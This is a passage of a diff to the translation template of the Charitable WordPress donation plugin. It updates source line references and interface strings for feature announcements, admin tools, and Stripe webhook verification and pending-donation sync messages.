cause.\"\n+#: includes\u002Fadmin\u002Fsplash\u002Fclass-charitable-admin-splash.php:301\n+msgid \"Campaign Showcase\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fsplash\u002Fclass-charitable-admin-splash.php:327\n-msgid \"More Stripe Options!\"\n+#: includes\u002Fadmin\u002Fsplash\u002Fclass-charitable-admin-splash.php:302\n+msgid \"Display all your campaigns beautifully with full layout control including grid, list, or masonry. No coding required.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fsplash\u002Fclass-charitable-admin-splash.php:328\n-msgid \"Charitable now supports ACH Direct Debit, SEPA Direct Debit, Cash App, and BECS Direct Debit for Stripe users.\"\n+#: includes\u002Fadmin\u002Fsplash\u002Fclass-charitable-admin-splash.php:322\n+msgid \"Donations Feed\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fsplash\u002Fclass-charitable-admin-splash.php:348\n-msgid \"Google Analytics\"\n+#: includes\u002Fadmin\u002Fsplash\u002Fclass-charitable-admin-splash.php:323\n+msgid \"Display recent donations in beautiful list or card views with sorting, filtering, pagination, and live polling that automatically refreshes when new donations arrive.\"\n+msgstr \"\"\n+\n+#: includes\u002Fadmin\u002Fsplash\u002Fclass-charitable-admin-splash.php:343\n+msgid \"Campaign Modal Button\"\n+msgstr \"\"\n+\n+#: includes\u002Fadmin\u002Fsplash\u002Fclass-charitable-admin-splash.php:344\n+msgid \"Add a donate button anywhere on your site that opens a donation form in a modal popup, no page redirect required. Available as a block or shortcode.\"\n+msgstr \"\"\n+\n+#: includes\u002Fadmin\u002Fsplash\u002Fclass-charitable-admin-splash.php:364\n+msgid \"Prefill Donation Forms\"\n+msgstr \"\"\n+\n+#: includes\u002Fadmin\u002Fsplash\u002Fclass-charitable-admin-splash.php:365\n+msgid \"Pre-populate donation form fields via URL query strings. Perfect for email campaigns, targeted landing pages, and personalized donor outreach.\"\n+msgstr \"\"\n+\n+#: includes\u002Fadmin\u002Fsplash\u002Fclass-charitable-admin-splash.php:385\n+msgid \"Campaign Featured Image\"\n+msgstr \"\"\n+\n+#: includes\u002Fadmin\u002Fsplash\u002Fclass-charitable-admin-splash.php:386\n+msgid \"Set your campaign's featured image directly from the Campaign Builder. No need to switch to the post editor. Perfect for giving your campaigns a polished, visual identity.\"\n+msgstr \"\"\n+\n+#: includes\u002Fadmin\u002Fsplash\u002Fclass-charitable-admin-splash.php:406\n+msgid \"More Recent Features:\"\n+msgstr \"\"\n+\n+#: includes\u002Fadmin\u002Fsplash\u002Fclass-charitable-admin-splash.php:408\n+msgid \"Campaign Selector\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fsplash\u002Fclass-charitable-admin-splash.php:349\n-msgid \"The new Google Analytics addon means you can track your campaign performance and see how your donors are engaging with your campaign.\"\n+#: includes\u002Fadmin\u002Fsplash\u002Fclass-charitable-admin-splash.php:409\n+msgid \"Envira Gallery Integration\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fsplash\u002Fclass-charitable-admin-splash.php:519\n+#: includes\u002Fadmin\u002Fsplash\u002Fclass-charitable-admin-splash.php:410\n+msgid \"Visual Form Builder\"\n+msgstr \"\"\n+\n+#: includes\u002Fadmin\u002Fsplash\u002Fclass-charitable-admin-splash.php:411\n+msgid \"Donor Leaderboards\"\n+msgstr \"\"\n+\n+#: includes\u002Fadmin\u002Fsplash\u002Fclass-charitable-admin-splash.php:412\n+msgid \"Magic Donor Dashboard Link\"\n+msgstr \"\"\n+\n+#: includes\u002Fadmin\u002Fsplash\u002Fclass-charitable-admin-splash.php:413\n+msgid \"DIVI Integration\"\n+msgstr \"\"\n+\n+#: includes\u002Fadmin\u002Fsplash\u002Fclass-charitable-admin-splash.php:415\n+msgid \"Google Analytics\"\n+msgstr \"\"\n+\n+#: includes\u002Fadmin\u002Fsplash\u002Fclass-charitable-admin-splash.php:572\n msgid \"What's New in Charitable\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fsplash\u002Fclass-charitable-admin-splash.php:520\n+#: includes\u002Fadmin\u002Fsplash\u002Fclass-charitable-admin-splash.php:573\n msgid \"Since you've been gone, we've added some great new features to help grow your campaigns and generate more donations. Here are some highlights...\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fsplash\u002Fclass-charitable-admin-splash.php:528\n-msgid \"Add Your License To Activate Charitable Pro Plugin Now!\"\n+#: includes\u002Fadmin\u002Fsplash\u002Fclass-charitable-admin-splash.php:581\n+msgid \"Add Your License To Activate Charitable Pro Plugin Now And Start Getting More Donations!\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fsplash\u002Fclass-charitable-admin-splash.php:529\n+#: includes\u002Fadmin\u002Fsplash\u002Fclass-charitable-admin-splash.php:582\n msgid \"Charitable Pro is a powerful upgrade that allows you to manage donors along with built-in features like videos, donor comments, PDF receipts, a dashboard for donors, and more.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fsplash\u002Fclass-charitable-admin-splash.php:537\n-msgid \"Thank you for using Charitable Pro!\"\n+#: includes\u002Fadmin\u002Fsplash\u002Fclass-charitable-admin-splash.php:590\n+msgid \"Upgrade To The Charitable Pro Plugin At No Cost!\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fsplash\u002Fclass-charitable-admin-splash.php:538\n-msgid \"We hope you love the new features and updates we've made to Charitable Pro. Learn more about the latest updates and improvements.\"\n+#: includes\u002Fadmin\u002Fsplash\u002Fclass-charitable-admin-splash.php:591\n+msgid \"Registered users with active license can upgrade to Charitable Pro plugin at NO COST. It's included in all plans (basic, plus, pro, elite).\"\n msgstr \"\"\n \n #: includes\u002Fadmin\u002Ftemplates\u002Fcampaign-builder-onboarding.php:23\n@@ -13465,19 +13540,19 @@\n msgstr \"\"\n \n #. translators: %s is the version number\n-#: includes\u002Fadmin\u002Ftemplates\u002Fsplash\u002Fsplash-section.php:43\n+#: includes\u002Fadmin\u002Ftemplates\u002Fsplash\u002Fsplash-section.php:57\n #, php-format\n msgid \"New Feature%s\"\n msgstr \"\"\n \n #. translators: %s is the version number\n-#: includes\u002Fadmin\u002Ftemplates\u002Fsplash\u002Fsplash-section.php:52\n+#: includes\u002Fadmin\u002Ftemplates\u002Fsplash\u002Fsplash-section.php:66\n #, php-format\n msgid \"New Addon%s\"\n msgstr \"\"\n \n #. translators: %s is the version number\n-#: includes\u002Fadmin\u002Ftemplates\u002Fsplash\u002Fsplash-section.php:61\n+#: includes\u002Fadmin\u002Ftemplates\u002Fsplash\u002Fsplash-section.php:75\n #, php-format\n msgid \"New for Pro%s\"\n msgstr \"\"\n@@ -13737,45 +13812,45 @@\n msgid \"Test Connection\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Ftools\u002Fclass-charitable-tools-system-info.php:818\n-#: includes\u002Fadmin\u002Ftools\u002Fclass-charitable-tools-system-info.php:1141\n-#: includes\u002Fadmin\u002Ftools\u002Fclass-charitable-tools-system-info.php:1425\n+#: includes\u002Fadmin\u002Ftools\u002Fclass-charitable-tools-system-info.php:819\n+#: includes\u002Fadmin\u002Ftools\u002Fclass-charitable-tools-system-info.php:1142\n+#: includes\u002Fadmin\u002Ftools\u002Fclass-charitable-tools-system-info.php:1426\n msgid \"Insufficient permissions\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Ftools\u002Fclass-charitable-tools-system-info.php:1168\n+#: includes\u002Fadmin\u002Ftools\u002Fclass-charitable-tools-system-info.php:1169\n #, php-format\n msgid \"Test email failed: %s\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Ftools\u002Fclass-charitable-tools-system-info.php:1290\n-#: includes\u002Fadmin\u002Ftools\u002Fclass-charitable-tools-system-info.php:1345\n+#: includes\u002Fadmin\u002Ftools\u002Fclass-charitable-tools-system-info.php:1291\n+#: includes\u002Fadmin\u002Ftools\u002Fclass-charitable-tools-system-info.php:1346\n msgid \"Security check failed: invalid or expired nonce. Refresh the page and try again.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Ftools\u002Fclass-charitable-tools-system-info.php:1298\n-#: includes\u002Fadmin\u002Ftools\u002Fclass-charitable-tools-system-info.php:1353\n+#: includes\u002Fadmin\u002Ftools\u002Fclass-charitable-tools-system-info.php:1299\n+#: includes\u002Fadmin\u002Ftools\u002Fclass-charitable-tools-system-info.php:1354\n msgid \"You do not have the manage_charitable_settings capability.\"\n msgstr \"\"\n \n #. translators: %d: number of deleted error logs\n-#: includes\u002Fadmin\u002Ftools\u002Fclass-charitable-tools-system-info.php:1311\n+#: includes\u002Fadmin\u002Ftools\u002Fclass-charitable-tools-system-info.php:1312\n #, php-format\n msgid \"%d error log cleared successfully.\"\n msgid_plural \"%d error logs cleared successfully.\"\n msgstr[0] \"\"\n msgstr[1] \"\"\n \n-#: includes\u002Fadmin\u002Ftools\u002Fclass-charitable-tools-system-info.php:1326\n+#: includes\u002Fadmin\u002Ftools\u002Fclass-charitable-tools-system-info.php:1327\n #, php-format\n msgid \"Error clearing logs: %s\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Ftools\u002Fclass-charitable-tools-system-info.php:1392\n+#: includes\u002Fadmin\u002Ftools\u002Fclass-charitable-tools-system-info.php:1393\n msgid \"Error logs exported successfully.\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Ftools\u002Fclass-charitable-tools-system-info.php:1402\n+#: includes\u002Fadmin\u002Ftools\u002Fclass-charitable-tools-system-info.php:1403\n #, php-format\n msgid \"Error exporting logs: %s\"\n msgstr \"\"\n@@ -15381,10 +15456,6 @@\n msgid \"You have already started the setup wizard. Would you like to continue where you left off?\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fviews\u002Fwelcome-page\u002Fpage.php:44\n-msgid \"Resume Setup Wizard\"\n-msgstr \"\"\n-\n #: includes\u002Fadmin\u002Fviews\u002Fwelcome-page\u002Fpage.php:50\n msgid \"Welcome back!\"\n msgstr \"\"\n@@ -15397,7 +15468,7 @@\n msgid \"Go Back\"\n msgstr \"\"\n \n-#: includes\u002Fadmin\u002Fviews\u002Fwelcome-page\u002Fpage.php:70\n+#: includes\u002Fadmin\u002Fviews\u002Fwelcome-page\u002Fpage.php:69\n msgid \"Note: You will be transfered to an WPCharitable.com to complete the setup wizard.\"\n msgstr \"\"\n \n@@ -16334,8 +16405,6 @@\n msgstr \"\"\n \n #: includes\u002Felementor\u002Fwidgets\u002Fclass-charitable-elementor-button-widget.php:75\n-#: assets\u002Fjs\u002Fblocks\u002Fdonation-button\u002Fbuild\u002Findex-min.js:4\n-#: assets\u002Fjs\u002Fblocks\u002Fdonation-button\u002Fbuild\u002Findex.js:121\n msgid \"Label\"\n msgstr \"\"\n \n@@ -16344,8 +16413,6 @@\n msgstr \"\"\n \n #: includes\u002Felementor\u002Fwidgets\u002Fclass-charitable-elementor-button-widget.php:123\n-#: assets\u002Fjs\u002Fblocks\u002Fdonation-button\u002Fbuild\u002Findex-min.js:4\n-#: assets\u002Fjs\u002Fblocks\u002Fdonation-button\u002Fbuild\u002Findex.js:142\n msgid \"Button Type\"\n msgstr \"\"\n \n@@ -16415,12 +16482,10 @@\n msgstr \"\"\n \n #: includes\u002Felementor\u002Fwidgets\u002Fclass-charitable-elementor-campaigns-widget.php:190\n-#: assets\u002Fjs\u002Fblocks\u002Fcampaigns\u002Fbuild\u002Findex.js:208\n msgid \"Include Inactive Campaigns\"\n msgstr \"\"\n \n #: includes\u002Felementor\u002Fwidgets\u002Fclass-charitable-elementor-campaigns-widget.php:203\n-#: assets\u002Fjs\u002Fblocks\u002Fcampaigns\u002Fbuild\u002Findex.js:170\n #: _legacy_src\u002Fblocks\u002Fcampaigns\u002Fblock.js:146\n msgid \"Columns\"\n msgstr \"\"\n@@ -18889,71 +18954,148 @@\n msgid \" requires Charitable! Please %s to continue!\"\n msgstr \"\"\n \n-#: includes\u002Fstripe\u002Fadmin\u002Fclass-charitable-stripe-admin.php:124\n+#: includes\u002Fstripe\u002Fadmin\u002Fclass-charitable-stripe-admin.php:134\n msgid \"Activate Stripe Gateway\"\n msgstr \"\"\n \n-#: includes\u002Fstripe\u002Fadmin\u002Fclass-charitable-stripe-admin.php:140\n+#: includes\u002Fstripe\u002Fadmin\u002Fclass-charitable-stripe-admin.php:150\n msgid \"Stripe Data\"\n msgstr \"\"\n \n-#: includes\u002Fstripe\u002Fadmin\u002Fclass-charitable-stripe-admin.php:544\n-#: includes\u002Fstripe\u002Fadmin\u002Fclass-charitable-stripe-admin.php:558\n+#: includes\u002Fstripe\u002Fadmin\u002Fclass-charitable-stripe-admin.php:594\n+#: includes\u002Fstripe\u002Fadmin\u002Fclass-charitable-stripe-admin.php:608\n msgid \"Webhook Security\"\n msgstr \"\"\n \n-#: includes\u002Fstripe\u002Fadmin\u002Fclass-charitable-stripe-admin.php:547\n+#: includes\u002Fstripe\u002Fadmin\u002Fclass-charitable-stripe-admin.php:597\n msgid \"Webhook signature verification is not configured.\"\n msgstr \"\"\n \n-#: includes\u002Fstripe\u002Fadmin\u002Fclass-charitable-stripe-admin.php:548\n+#: includes\u002Fstripe\u002Fadmin\u002Fclass-charitable-stripe-admin.php:598\n msgid \"Your Stripe webhooks are currently verified using a fallback method. For stronger security, click the button below to enable cryptographic signature verification.\"\n msgstr \"\"\n \n-#: includes\u002Fstripe\u002Fadmin\u002Fclass-charitable-stripe-admin.php:550\n+#: includes\u002Fstripe\u002Fadmin\u002Fclass-charitable-stripe-admin.php:600\n msgid \"Enable Webhook Signature Verification\"\n msgstr \"\"\n \n-#: includes\u002Fstripe\u002Fadmin\u002Fclass-charitable-stripe-admin.php:561\n+#: includes\u002Fstripe\u002Fadmin\u002Fclass-charitable-stripe-admin.php:611\n msgid \"Webhook signature verification is active. Incoming Stripe webhooks are cryptographically verified.\"\n msgstr \"\"\n \n-#: includes\u002Fstripe\u002Fadmin\u002Fclass-charitable-stripe-admin.php:563\n+#: includes\u002Fstripe\u002Fadmin\u002Fclass-charitable-stripe-admin.php:613\n msgid \"Refresh Signing Secret\"\n msgstr \"\"\n \n-#: includes\u002Fstripe\u002Fadmin\u002Fclass-charitable-stripe-admin.php:605\n+#: includes\u002Fstripe\u002Fadmin\u002Fclass-charitable-stripe-admin.php:655\n msgid \"Request failed. Please try again.\"\n msgstr \"\"\n \n-#: includes\u002Fstripe\u002Fadmin\u002Fclass-charitable-stripe-admin.php:634\n-msgid \"Charitable: Stripe Webhook Security Alert\"\n+#: includes\u002Fstripe\u002Fadmin\u002Fclass-charitable-stripe-admin.php:684\n+msgid \"Charitable: Stripe Webhook Notice\"\n msgstr \"\"\n \n-#. translators: %1$d: number of failures, %2$s: opening link tag, %3$s: closing link tag.\n-#: includes\u002Fstripe\u002Fadmin\u002Fclass-charitable-stripe-admin.php:640\n+#. translators: %1$d: number of failures, %2$s: opening Stripe settings link tag, %3$s: closing link tag, %4$s: opening documentation link tag, %5$s: closing link tag.\n+#: includes\u002Fstripe\u002Fadmin\u002Fclass-charitable-stripe-admin.php:690\n #, php-format\n-msgid \"%1$d failed webhook signature verification attempts detected in the last 24 hours. This may indicate someone is attempting to send forged webhook events. Please check your %2$sStripe settings%3$s.\"\n+msgid \"%1$d webhook events failed signature verification in the last 24 hours. This often happens after reconnecting Stripe or refreshing your account. If the issue persists, verify your signing secret in your %2$sStripe settings%3$s. %4$sLearn more%5$s.\"\n msgstr \"\"\n \n-#: includes\u002Fstripe\u002Fadmin\u002Fclass-charitable-stripe-admin.php:657\n+#: includes\u002Fstripe\u002Fadmin\u002Fclass-charitable-stripe-admin.php:730\n msgid \"Charitable: Stripe Webhook Security Setup\"\n msgstr \"\"\n \n #. translators: %1$s: opening link tag, %2$s: closing link tag.\n-#: includes\u002Fstripe\u002Fadmin\u002Fclass-charitable-stripe-admin.php:663\n+#: includes\u002Fstripe\u002Fadmin\u002Fclass-charitable-stripe-admin.php:736\n #, php-format\n msgid \"Charitable was unable to automatically configure webhook signature verification for Stripe. Please visit your %1$sStripe settings%2$s and click \\\"Enable Webhook Signature Verification\\\" to secure your webhook endpoint.\"\n msgstr \"\"\n \n-#: includes\u002Fstripe\u002Fadmin\u002Fclass-charitable-stripe-admin.php:700\n+#: includes\u002Fstripe\u002Fadmin\u002Fclass-charitable-stripe-admin.php:778\n msgid \"Webhook signature verification has been enabled successfully. The page will reload.\"\n msgstr \"\"\n \n-#: includes\u002Fstripe\u002Fadmin\u002Fclass-charitable-stripe-admin.php:707\n+#: includes\u002Fstripe\u002Fadmin\u002Fclass-charitable-stripe-admin.php:785\n msgid \"Unable to configure webhook signature verification. Please ensure your Stripe API keys are valid and try again, or disconnect and reconnect your Stripe account.\"\n msgstr \"\"\n \n+#: includes\u002Fstripe\u002Fadmin\u002Fclass-charitable-stripe-admin.php:817\n+#: includes\u002Fstripe\u002Fadmin\u002Fclass-charitable-stripe-admin.php:826\n+msgid \"Sync Pending Donations\"\n+msgstr \"\"\n+\n+#: includes\u002Fstripe\u002Fadmin\u002Fclass-charitable-stripe-admin.php:820\n+msgid \"Use this tool if donations are stuck in Pending due to a webhook issue. It checks Stripe for the last 30 days and marks any confirmed payments as completed.\"\n+msgstr \"\"\n+\n+#: includes\u002Fstripe\u002Fadmin\u002Fclass-charitable-stripe-admin.php:822\n+msgid \"Dry Run (preview only, no changes made)\"\n+msgstr \"\"\n+\n+#: includes\u002Fstripe\u002Fadmin\u002Fclass-charitable-stripe-admin.php:824\n+msgid \"Send receipt emails for completed donations\"\n+msgstr \"\"\n+\n+#: includes\u002Fstripe\u002Fadmin\u002Fclass-charitable-stripe-admin.php:962\n+msgid \"Unable to connect to Stripe. Please check that your API keys are configured correctly.\"\n+msgstr \"\"\n+\n+#. translators: %d: number of days\n+#: includes\u002Fstripe\u002Fadmin\u002Fclass-charitable-stripe-admin.php:1041\n+#, php-format\n+msgid \"No pending Stripe donations found in the last %d days.\"\n+msgstr \"\"\n+\n+#. translators: 1: checked count, 2: total count\n+#: includes\u002Fstripe\u002Fadmin\u002Fclass-charitable-stripe-admin.php:1134\n+#, php-format\n+msgid \"Dry Run: Checking donations... (%1$d of %2$d checked)\"\n+msgstr \"\"\n+\n+#: includes\u002Fstripe\u002Fadmin\u002Fclass-charitable-stripe-admin.php:1139\n+msgid \"Dry Run: No pending donations were found with a confirmed payment in Stripe. No changes were made.\"\n+msgstr \"\"\n+\n+#. translators: 1: count, 2: formatted total, 3: earliest date, 4: latest date\n+#: includes\u002Fstripe\u002Fadmin\u002Fclass-charitable-stripe-admin.php:1143\n+#, php-format\n+msgid \"Dry Run: Found %1$d donation(s) that would be updated, totaling %2$s. Date range: %3$s – %4$s. No changes were made. Uncheck \\\"Dry Run\\\" and click again to process.\"\n+msgstr \"\"\n+\n+#: includes\u002Fstripe\u002Fadmin\u002Fclass-charitable-stripe-admin.php:1186\n+msgid \"Stripe Sync: No PaymentIntent ID found — skipped.\"\n+msgstr \"\"\n+\n+#. translators: %s: Stripe PaymentIntent ID.\n+#: includes\u002Fstripe\u002Fadmin\u002Fclass-charitable-stripe-admin.php:1228\n+#, php-format\n+msgid \"Stripe Sync: PaymentIntent %s confirmed (succeeded). Status updated to Paid.\"\n+msgstr \"\"\n+\n+#. translators: 1: Stripe PaymentIntent ID, 2: Stripe status string.\n+#: includes\u002Fstripe\u002Fadmin\u002Fclass-charitable-stripe-admin.php:1242\n+#, php-format\n+msgid \"Stripe Sync: PaymentIntent %1$s status '%2$s' — payment not confirmed. Status remains Pending.\"\n+msgstr \"\"\n+\n+#. translators: 1: Stripe PaymentIntent ID, 2: error message.\n+#: includes\u002Fstripe\u002Fadmin\u002Fclass-charitable-stripe-admin.php:1259\n+#, php-format\n+msgid \"Stripe Sync: Error retrieving PaymentIntent %1$s — %2$s\"\n+msgstr \"\"\n+\n+#. translators: 1: processed count, 2: total count\n+#: includes\u002Fstripe\u002Fadmin\u002Fclass-charitable-stripe-admin.php:1287\n+#, php-format\n+msgid \"Syncing... %1$d of %2$d donations processed.\"\n+msgstr \"\"\n+\n+#. translators: 1: updated count, 2: skipped count, 3: error count\n+#: includes\u002Fstripe\u002Fadmin\u002Fclass-charitable-stripe-admin.php:1297\n+#, php-format\n+msgid \"%1$d donation(s) marked completed. %2$d still pending in Stripe. %3$d error(s).\"\n+msgstr \"\"\n+\n #. translators: %s: number of periods.\n #: includes\u002Fstripe\u002Fcompat\u002Fcharitable-stripe-recurring-compat-functions.php:34\n #, php-format\n@@ -19076,7 +19218,7 @@\n msgstr \"\"\n \n #. translators: %s is the error message.\n-#: includes\u002Fstripe\u002Fgateway\u002Fclass-charitable-stripe-webhook-api.php:214\n+#: includes\u002Fstripe\u002Fgateway\u002Fclass-charitable-stripe-webhook-api.php:217\n #, php-format\n msgid \"Error creating Stripe webhook: %s\"\n msgstr \"\"\n@@ -19554,19 +19696,19 @@\n msgid \"You must be logged in to access your donation receipt.\"\n msgstr \"\"\n \n-#: templates\u002Fdonation-receipt\u002Fsummary.php:25\n+#: templates\u002Fdonation-receipt\u002Fsummary.php:26\n msgid \"Donation Number:\"\n msgstr \"\"\n \n-#: templates\u002Fdonation-receipt\u002Fsummary.php:27\n+#: templates\u002Fdonation-receipt\u002Fsummary.php:28\n msgid \"Date:\"\n msgstr \"\"\n \n-#: templates\u002Fdonation-receipt\u002Fsummary.php:29\n+#: templates\u002Fdonation-receipt\u002Fsummary.php:30\n msgid \"Total:\"\n msgstr \"\"\n \n-#: templates\u002Fdonation-receipt\u002Fsummary.php:46\n+#: templates\u002Fdonation-receipt\u002Fsummary.php:47\n msgid \"Payment Method:\"\n msgstr \"\"\n \n@@ -19666,177 +19808,6 @@\n msgid \"Select %s\"\n msgstr \"\"\n \n-#: assets\u002Fjs\u002Fblocks\u002Fcampaign-progress-bar\u002Fbuild\u002Findex.js:93\n-msgid \"This is the campaign the progress bar is associated with.\"\n-msgstr \"\"\n-\n-#: assets\u002Fjs\u002Fblocks\u002Fcampaign-progress-bar\u002Fbuild\u002Findex.js:111\n-msgid \"Campaign Progress Bar\"\n-msgstr \"\"\n-\n-#: assets\u002Fjs\u002Fblocks\u002Fcampaign-progress-bar\u002Fbuild\u002Findex.js:111\n-#: assets\u002Fjs\u002Fblocks\u002Fcampaign-stats\u002Fbuild\u002Findex.js:156\n-#: assets\u002Fjs\u002Fblocks\u002Fcampaigns\u002Fbuild\u002Findex.js:282\n-#: assets\u002Fjs\u002Fblocks\u002Fdonation-button\u002Fbuild\u002Findex-min.js:4\n-#: assets\u002Fjs\u002Fblocks\u002Fdonation-button\u002Fbuild\u002Findex.js:166\n-#: assets\u002Fjs\u002Fblocks\u002Fdonations\u002Fbuild\u002Findex.js:123\n-#: assets\u002Fjs\u002Fblocks\u002Fdonors\u002Fbuild\u002Findex.js:238\n-#: assets\u002Fjs\u002Fblocks\u002Fmy-donations\u002Fbuild\u002Findex.js:113\n-#: assets\u002Fjs\u002Fblocks\u002Fdonors\u002Fbuild\u002Findex.js:255\n-#: assets\u002Fjs\u002Fblocks\u002Fmy-donations\u002Fbuild\u002Findex.js:97\n-msgid \"Preview Not Available In Editor\"\n-msgstr \"\"\n-\n-#: assets\u002Fjs\u002Fblocks\u002Fcampaign-stats\u002Fbuild\u002Findex.js:111\n-msgid \"Display\"\n-msgstr \"\"\n-\n-#: assets\u002Fjs\u002Fblocks\u002Fcampaign-stats\u002Fbuild\u002Findex.js:112\n-msgid \"The type of data to display.\"\n-msgstr \"\"\n-\n-#: assets\u002Fjs\u002Fblocks\u002Fcampaign-stats\u002Fbuild\u002Findex.js:131\n-msgid \"Campaign IDs\"\n-msgstr \"\"\n-\n-#: assets\u002Fjs\u002Fblocks\u002Fcampaign-stats\u002Fbuild\u002Findex.js:132\n-msgid \"A comma-separated list of campaign IDs. If not provided, all campaigns will be included.\"\n-msgstr \"\"\n-\n-#: assets\u002Fjs\u002Fblocks\u002Fcampaign-stats\u002Fbuild\u002Findex.js:139\n-msgid \"Required if display is set to \\\"Progress\\\". The goal that your progress is measured in relation to, without any currency symbols.\"\n-msgstr \"\"\n-\n-#: assets\u002Fjs\u002Fblocks\u002Fcampaign-stats\u002Fbuild\u002Findex.js:156\n-msgid \"Campaign Stats Block\"\n-msgstr \"\"\n-\n-#: assets\u002Fjs\u002Fblocks\u002Fcampaigns\u002Fbuild\u002Findex.js:163\n-msgid \"Number\"\n-msgstr \"\"\n-\n-#: assets\u002Fjs\u002Fblocks\u002Fcampaigns\u002Fbuild\u002Findex.js:229\n-msgid \"Campaign Description Word Limit\"\n-msgstr \"\"\n-\n-#: assets\u002Fjs\u002Fblocks\u002Fcampaigns\u002Fbuild\u002Findex.js:235\n-msgid \"Creator IDs\"\n-msgstr \"\"\n-\n-#: assets\u002Fjs\u002Fblocks\u002Fcampaigns\u002Fbuild\u002Findex.js:243\n-msgid \"Exclude Campaign IDs\"\n-msgstr \"\"\n-\n-#: assets\u002Fjs\u002Fblocks\u002Fcampaigns\u002Fbuild\u002Findex.js:251\n-msgid \"Show Campaign IDs\"\n-msgstr \"\"\n-\n-#: assets\u002Fjs\u002Fblocks\u002Fcampaigns\u002Fbuild\u002Findex.js:260\n-msgid \"Responsive\"\n-msgstr \"\"\n-\n-#: assets\u002Fjs\u002Fblocks\u002Fcampaigns\u002Fbuild\u002Findex.js:266\n-msgid \"Masonry\"\n-msgstr \"\"\n-\n-#: assets\u002Fjs\u002Fblocks\u002Fcampaigns\u002Fbuild\u002Findex.js:282\n-msgid \"Campaigns Block\"\n-msgstr \"\"\n-\n-#: assets\u002Fjs\u002Fblocks\u002Fdonation-button\u002Fbuild\u002Findex-min.js:4\n-#: assets\u002Fjs\u002Fblocks\u002Fdonation-button\u002Fbuild\u002Findex.js:114\n-msgid \"REQUIRED. This is the campaign the donation button is associated with.\"\n-msgstr \"\"\n-\n-#: assets\u002Fjs\u002Fblocks\u002Fdonation-button\u002Fbuild\u002Findex-min.js:4\n-#: assets\u002Fjs\u002Fblocks\u002Fdonation-button\u002Fbuild\u002Findex.js:122\n-msgid \"Text visible on the button\u002Flink.\"\n-msgstr \"\"\n-\n-#: assets\u002Fjs\u002Fblocks\u002Fdonation-button\u002Fbuild\u002Findex-min.js:4\n-#: assets\u002Fjs\u002Fblocks\u002Fdonation-button\u002Fbuild\u002Findex.js:130\n-msgid \"Open the donation page in a new tab when clicked.\"\n-msgstr \"\"\n-\n-#: assets\u002Fjs\u002Fblocks\u002Fdonation-button\u002Fbuild\u002Findex-min.js:4\n-#: assets\u002Fjs\u002Fblocks\u002Fdonation-button\u002Fbuild\u002Findex.js:135\n-msgid \"Custom CSS\"\n-msgstr \"\"\n-\n-#: assets\u002Fjs\u002Fblocks\u002Fdonation-button\u002Fbuild\u002Findex-min.js:4\n-#: assets\u002Fjs\u002Fblocks\u002Fdonation-button\u002Fbuild\u002Findex.js:136\n-msgid \"Add custom CSS to style the button\u002Flink.\"\n-msgstr \"\"\n-\n-#: assets\u002Fjs\u002Fblocks\u002Fdonation-button\u002Fbuild\u002Findex-min.js:4\n-#: assets\u002Fjs\u002Fblocks\u002Fdonation-button\u002Fbuild\u002Findex.js:166\n-msgid \"Donation Button\u002FLink Block\"\n-msgstr \"\"\n-\n-#: assets\u002Fjs\u002Fblocks\u002Fdonations\u002Fbuild\u002Findex.js:98\n-msgid \"The widget title to be displayed at the top of the widget.\"\n-msgstr \"\"\n-\n-#: assets\u002Fjs\u002Fblocks\u002Fdonations\u002Fbuild\u002Findex.js:105\n-#: assets\u002Fjs\u002Fblocks\u002Fdonors\u002Fbuild\u002Findex.js:170\n-#: assets\u002Fjs\u002Fblocks\u002Fdonors\u002Fbuild\u002Findex.js:140\n-msgid \"Show a particular campaign’s form, or choose no campaign to show a donation form for the current campaign on individual campaign pages (the widget will be hidden on all other pages).\"\n-msgstr \"\"\n-\n-#: assets\u002Fjs\u002Fblocks\u002Fdonations\u002Fbuild\u002Findex.js:123\n-msgid \"Donations Block\"\n-msgstr \"\"\n-\n-#: assets\u002Fjs\u002Fblocks\u002Fdonors\u002Fbuild\u002Findex.js:178\n-#: assets\u002Fjs\u002Fblocks\u002Fdonors\u002Fbuild\u002Findex.js:152\n-msgid \"Only Show Unique Donors\"\n-msgstr \"\"\n-\n-#: assets\u002Fjs\u002Fblocks\u002Fdonors\u002Fbuild\u002Findex.js:179\n-#: assets\u002Fjs\u002Fblocks\u002Fdonors\u002Fbuild\u002Findex.js:156\n-msgid \"If a donor has donated more than once, they will only appear in the list once, with their donation amount calculated based on all their donations.\"\n-msgstr \"\"\n-\n-#: assets\u002Fjs\u002Fblocks\u002Fdonors\u002Fbuild\u002Findex.js:198\n-#: assets\u002Fjs\u002Fblocks\u002Fdonors\u002Fbuild\u002Findex.js:182\n-msgid \"Show Name\"\n-msgstr \"\"\n-\n-#: assets\u002Fjs\u002Fblocks\u002Fdonors\u002Fbuild\u002Findex.js:204\n-#: assets\u002Fjs\u002Fblocks\u002Fdonors\u002Fbuild\u002Findex.js:194\n-msgid \"Show Location\"\n-msgstr \"\"\n-\n-#: assets\u002Fjs\u002Fblocks\u002Fdonors\u002Fbuild\u002Findex.js:210\n-#: assets\u002Fjs\u002Fblocks\u002Fdonors\u002Fbuild\u002Findex.js:206\n-msgid \"Show Amount\"\n-msgstr \"\"\n-\n-#: assets\u002Fjs\u002Fblocks\u002Fdonors\u002Fbuild\u002Findex.js:216\n-#: assets\u002Fjs\u002Fblocks\u002Fdonors\u002Fbuild\u002Findex.js:218\n-msgid \"Show Avatar\"\n-msgstr \"\"\n-\n-#: assets\u002Fjs\u002Fblocks\u002Fdonors\u002Fbuild\u002Findex.js:238\n-#: assets\u002Fjs\u002Fblocks\u002Fdonors\u002Fbuild\u002Findex.js:254\n-msgid \"Donors Block\"\n-msgstr 